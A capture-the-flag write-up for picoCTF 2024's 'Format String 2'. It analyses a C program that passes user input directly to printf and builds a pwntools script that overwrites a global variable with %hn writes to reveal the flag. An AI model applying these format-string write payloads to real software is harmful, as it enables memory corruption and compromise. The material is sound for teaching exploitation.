Arbitrary Memory Write with Format Strings
Format String 2 CTF
Source Code Analysis
Stepping through the code our global variable sus
must be modified to 0x67616c66
in order to print the flag. The vulnerable code is the printf()
functions on line 14. Lets exploit using format strings.
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
64 Bit Binary Review
The binary is precompiled and is for 64 bit architecture.

Recall 64 bit architecture passes parameters from registers instead of the stack, and we can leak the values of the first six registers and then contents of the stack. Let's debug the binary to demonstrate this and pass 6 %p
specifiers to our buffer.

The contents of the rsi rdi rcx r8 and r9
registers and first value on the stack rsp
are leaked:

Python Solution
After manually leaking values from the stack I used a script to fuzz and see where we could find our controlled arguments on the stack. is on the stack starting at position 18.
from pwn import *
context.log_level ='debug'
context.binary = binary = ELF('./vuln', checksec=False)
data = 'AAAABBBBCCCCDDDDEEEEFFFFGG'
for i in range(14,17):
payload = f'%{i}$lx,%{i+1}$lx,%{i+2}$lx,%{i+3}$lx,%{i+4}$lx,' + data
p = process()
p.recvline()
p.sendline(payload.encode())
p.recvall()
# payload -> b'%16$lx,%17$lx,%18$lx,%19$lx,%20$lx,AAAABBBBCCCCDDDDEEEEFFFFGG\n'
# b "Here's your input: 3931252c786c2438,243032252c786c24,42414141412c786c,4443434343424242,4645454545444444,AAAABBBBCCCCDDDDEEEEFFFFGG\n"
# b'sus = 0x21737573\n'
# b'You can do better!\n'
Now we can attempt to access our global variable sus
but first need to find its memory location. Disassemble the main function of the binary in GDB reveals the address of sus
to be 0x404060
Below is a snippet showing the contents of 0x404060 being moved into the EAX
register before being compared to 0x67616c66
-- the value we must change sus
into. You can also print the address of a global variable in GDB with print &sus


Our next payload is below and put the memory address of sus
under our control. Now we can attempt to write to the memory address of sus.
payload = f'%{i}$llx,%{i+1}$llx,%{i+2}$llx,%{i+3}$llx,%{i+4}$llx,' + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00'
To overwrite memory words the %n
instruction can be used. Also the %hn
instruction will let us to write only two bytes since otherwise it would be difficult (impossible?) to write a large value directly like 0x67616c66
First some quick math to determine the payload size for our first two high order bytes. so our first payload can be %26464d,%20$nlx
payload = f'%{sus-1}d,%20$nlx,%{i}$llx,%{i+1}$llx,%{i+2}$llx,' + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' + data
To write to the lower two bytes the %hn
comes into play. Again quick math we have wrote 26465 characters already. and . We need to write an additional 1285 more characters. Below is the complete script and final payload to capture the flag.
from pwn import *
#context.log_level ='debug'
context.binary = binary = ELF('./vuln', checksec=False)
HOST = 'rhea.picoctf.net'
PORT = 49907
LOCAL = True #flip to False for remote server
data = 'AAAABBBBCCCCDDDDEEEEFFFFGG'
### fuzzing for what we control on the stack- original 1 - 15. Our string on the stack starts at 18.
#b'%16$lx,%17$lx,%18$lx,%19$lx,%20$lx,AAAABBBBCCCCDDDDEEEEFFFFGG\n'
#b"Here's your input: 3931252c786c2438,243032252c786c24,42414141412c786c,4443434343424242,4645454545444444,AAAABBBBCCCCDDDDEEEEFFFFGG\n"
'''
for i in range(14,17):
payload = f'%{i}$lx,%{i+1}$lx,%{i+2}$lx,%{i+3}$lx,%{i+4}$lx,' + data
p = process()
p.recvline()
p.sendline(payload.encode())
p.recvall()
'''
#switched for %lx to %llx
sus, alsoSus = 0x6761, 0x6c66 # 26465 , 27750
#1285 more chars for 27750, needed some padding
for i in range(18,19):
#payload = f'%{i}$llx,%{i+1}$llx,%{i+2}$llx,%{i+3}$llx,%{i+4}$llx,' + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' #fuzzing payload
#payload = f'%{sus-1}d,%20$nlx,%{i}$llx,%{i+1}$llx,%{i+2}$llx,' + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' + data #payload for first two digits (high order byes)
payload = f'%{sus-1}d,%20$hn%1281dEZEZ%19$hnx,%{i+2}$llx,' + '\x60\x40\x40\x00\x00\x00\x00\x00' + '\x62\x40\x40\x00\x00\x00\x00\x00' + data #final payload
if local:
p = process()
p.recvline()
p.sendline(payload.encode())
p.interactive()
else:
r = remote(HOST,PORT)
r.recvline()
r.sendline(payload.encode())
r.interactive()

Resources
#picoCTF2024
Last updated